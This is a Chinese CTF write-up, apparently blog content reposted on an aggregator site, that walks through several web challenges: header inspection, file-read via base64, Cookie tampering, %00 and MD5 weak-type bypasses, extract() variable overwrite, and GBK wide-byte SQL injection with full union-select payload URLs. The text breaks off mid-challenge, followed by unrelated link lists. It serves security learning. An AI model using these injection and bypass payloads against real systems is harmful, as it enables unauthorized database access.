南邮CTF-WEB-write-up 教程详细解说

2023-10-27


单身一百年也没用

传送门:biu~

如图所示

单击之后,跟我说没有key
这里写图片描述

这种题目就直接用burpsuit抓包,观察请求回应信息
这里写图片描述
答案很明显了,flag出来了

Download~!

想下啥就下啥~别下音乐,不骗你,试试下载其他东西~
真·奥义·传送:点我
这里写图片描述
点击了那两个音乐链接,发现是正常的音乐文件,审查一下元素,发现了问题这里写图片描述
这里的链接很可能存在文件包含漏洞,可以试试用download.php的base64编码看看能否取出源代码。
这里写图片描述
获得download的源码
审计代码发现这里面有一个include(“hereiskey.php”);我们继续按着前面的思路得到源码
这里写图片描述
flag到手了

COOKIE就是甜饼的意思~
地址:传送门
TIP: 0==not
这题目一进来啥也没有,根据提示,看来是要抓包分析了
这里写图片描述发现了Cookie: Login=0,前面的提示是0==not ,那么1应该就是==yes 咯
这里写图片描述flag到手了!

MYSQL

不能每一题都这么简单嘛
你说是不是?
题目地址
这里写图片描述这题涉及到了每个网站都有的robots.txt,直接在url里面转入robots.txt
这里写图片描述
这里,提示了我们sql.php,进行代码审计吧,审计发现:intval()将变量转成整数类型,且,数值不能是1024,那么就有可能是小数咯
这里写图片描述flag到手

sql injection 3

关于这题,大家可以看看我在简书上写的sqlmap相关该题题解:点我
here
这里写图片描述这里看链接名字就看出来了,GBK宽字节注入啊,宽字节注入需要用到啥?%df之类的(具体的宽字节注入方面的内容这里不赘述了,大家百度一下)
这里写图片描述
这里写图片描述
经过这两个,大家可以看到,order by 2 和显示位为 “2” ,接下来可以顺利进行爆库,查询名为’sae-chinalover’的数据库的表
database

查表
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
相关代码

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%200,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%201,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%202,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%203,1%23

经一步步查询,得到flag在ctf4中

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%200,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%201,1%23

flag

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,flag%20from%20ctf4%23

这里写图片描述

/x00

题目地址:题目有多种解法,你能想出来几种?
这里写图片描述这题目要求我们输入一个nctf的参数值,且这个参数值必须为 1. 数字 2. #biubiubiu 就是让我们绕过判断语句

ereg的漏洞: 会被%00截断及遇到%00则默认为字符串的结束
所以我们可以构造绕过语句:nctf=1%00%23biubiubiu
这里写图片描述

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

地址:依旧是弱类型
这里写图片描述通过审计代码,发现他让你既要a!=b 又要 md5的a b值相等。
这里写图片描述

这里写图片描述

  1. 240610708跟QNKCDZO 利用不同的字符串可能产生相同的md5 绕过
  2. a[]=1&b[]=2 利用php get 可以数组,而md5() 不能处理数组

变量覆盖

听说过变量覆盖么?
地址: 题目地址
打开页面后发现有个源代码“source at /source.php” 点击进去是让我们代码审计与变量覆盖有关:经查询,变量覆盖与代码中的extract()有关,这里放出一个链接,与变量覆盖的相关知识有关,大家可以看看:点我
这里是 extract($_POST);提交参数 我们可以抓包修改
这里写图片描述
payload:pass=1&thepassword_123=1

PHP是世界上最好的语言

听说PHP是世界上最好的语言
地址:题目地址
这里写图片描述
tips我们还有一个index.txt文件
这里写图片描述
代码审计了,要绕过if(eregi(“hackerDJ”, GET[id]))
并确保经过urldecode(

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

南邮CTF-WEB-write-up 教程详细解说 的相关文章

  • git代码回滚

    git回退历史 有以下步骤 1 已push后回退 1 使用git log命令 查看分支提交历史 确认需要回退版本的
  • Vue.2.0.5-模板语法

    Vue js 使用了基于 HTML 的模版语法 允许开发者声明式地将 DOM 绑定至底层 Vue 实例的数据 所有 Vue js 的模板都是合法的 HTML 所以能被遵循规范的浏览器和 HTML 解析器解析 在底层的实现上 Vue 将模板编

随机推荐

  • 日志异常检测-机器学习

    日志搜集 大规模系统通常会生成日志来记录系统状态和运行时信息 每个日志都包括时间戳和指示发生了什么的日志消息 日志解析 日志是非结构化的 包含自由形式的文本 日志解析的目的是提取一组事件模板 从而可以构造原始日志 更具体地说 每个日志消息都
  • Java虚拟机:Java模块化系统

    Java模块化系统目录 1 Java模块化系统 2 模块化的兼容性 1 模块路径 2 模块化系统访问路径规则 3 它本身面临的模块间的管理和兼容性问题 3 模块化的类加载器 1 模块化下的类加载器变动 2 类加载的委派关系变动 1 Java
  • (jsp和servlet功能篇)jsp+servlet+jquery分页代码

    首先看运行效果图 第一步 编写servlet 代码 package com rf servlet import java io IOException import java io OutputStream import java sql
  • 继续干IT的十个理由

    在其文章 不干IT的十个理由 中 Jack Wallen列举了一些离开IT这个行业的理由 而我呢 则愿意提供一个不同的观点 下面有我自己的一些思考 这些也许能对阐明为什么你应当留在IT有所帮助 1 钱 钱 钱 对 我们努力工作就是为了赚钱
  • python实现Lasso回归

    Lasso原理 Lasso与弹性拟合比较python实现 import numpy as np import matplotlib pyplot as plt from sklearn metrics import r2 score def
  • 上传文件的漏洞复现与修复

    本文只说一些我遇到过的上传文件的漏洞 毕竟漏洞太多 我又不可能全部发现 安全方面的小菜鸟 可能你们的系统比较完善 针对这些漏洞 已有相应的防御手段 我们针对的是那种比较简单的系统 就是各位上大学时自己开发的小系统 哈哈哈 利用漏洞的具体效果
  • 鸿蒙OS第四次作业

    数据获取 config json中 module reqPermissions name ohos permission GET NETWORK INFO name ohos permission SET NETWORK INFO name
  • Java——Map和Set的使用

    目录 引言 Map的使用方法 Set说明 用map统计数组中每个数字出现的次数 将数据去重 找出第一个重复出现的数字 宝石与石头 复制带随机指针的链表 只出现一次的数字 引言 Map和Set是适合动态查找的集合容器 Map中存储的就是key
  • oracle备份或还原数据库(expdp、impdp)

    1 首先新建或更改虚拟目录 因为数据泵方式 expdp 导出 和impdp 导入 需要虚拟目录路径 语法 create or replace directory 虚拟目录名 as 虚拟目录绝对路径 例子 创建或修改data backup逻辑
  • IntelliJ IDEA 创建Java项目

    Java模块让你可以开发Java SE和Java EE应用程序 由Java模块提供的核心功能可通过加入各种技术和框架支持进行扩展 当您创建好一个项目后 您可以创建一个Java模块 您还可以添加一个Java模块到现有项目 注意 这里说的Jav
  • Java-JDK8中的时间Api

    Java JDK8中的时间Api java time 1 本地日期 本地时间 本地日期时间的使用 LocalDate LocalTime LocalDateTime package com lmw time import org junit
  • 给Android工程师的Flutter入门手册

    前言 这是笔者作为一个Android工程师入门Flutter的学习笔记 笔者不想通过一种循规蹈矩的方式来学习 先学Dart语言 然后学习Flutter的基本使用 再到实践应用这样的步骤 这样的方式有点无趣且效率较低 笔者觉得对于已经有And
  • assert注意事项

    结论 直接使用 assert field null 可以快速的check属性 但是该方法会在使用反射的时候多一个属性 assertionsDisabled 分析 public class Assert static final boolea
  • oracle 中增加行,Oracle中实现FORM表单插入、锁定、更新行、删除行的包

    此包写在oracle数据库中 供Form表单调用 CREATE OR REPLACE PACKAGE BODY cux main pkg AS PROCEDURE insert row PROCEDURE insert row x row
  • placeHolder样式IOS不兼容 显示不全问题

    1 要先设置input 再设置placeholder 不然会被覆盖 2 先设置input 里面的字体大小需要大于placeholder的字体大小 转载于 https www cnblogs com zhangxin123 p 1147375
  • QT修改UI后运行不更新的问题

    qt creator ui界面修改后运行不产生作用 本质分析 参考了上述文章 在这里夸一下这篇文章 写的很好 对照自己的问题发现我的情况是 pro文件里包含了xx ui文件 这没错 ui xx h文件确实也根据UI修改的控件修改了代码 这也
  • 树莓派与PC端在局域网内运用python实现即时通讯

    本文来源于公众号 csdn2299 喜欢可以关注公众号 程序员学府 这篇文章主要为大家详细介绍了树莓派与PC端在局域网内运用python实现即时通讯 具有一定的参考价值 感兴趣的小伙伴们可以参考一下 电脑和树莓派在同一局域网内 先在电脑和树
  • LINUX CGI编程实例,linux_cgi编程(Linux_cgi programming).doc

    linux cgi编程 Linux cgi programming linux cgi编程 Linux cgi programming This article is contributed by whyang2006 Pdf docume
  • Rocky9.2基于http方式搭建局域网yum源

    当前负责的项目有几十台Linux服务器 在安装各类软件的时候需要大量依赖包 而项目部署的环境属于内网环境 与Internet网完全隔离 无法采用配置网络yum源的方式安装rpm包 直接在每台linux服务器上配置本地yum源也比较麻烦 而采
  • 南邮CTF-WEB-write-up 教程详细解说

    单身一百年也没用 Download COOKIE MYSQL sql injection 3 x00 bypass again 变量覆盖 PHP是世界上最好的语言 伪装者 Header 上传绕过 SQL注入1 pass check 起名字真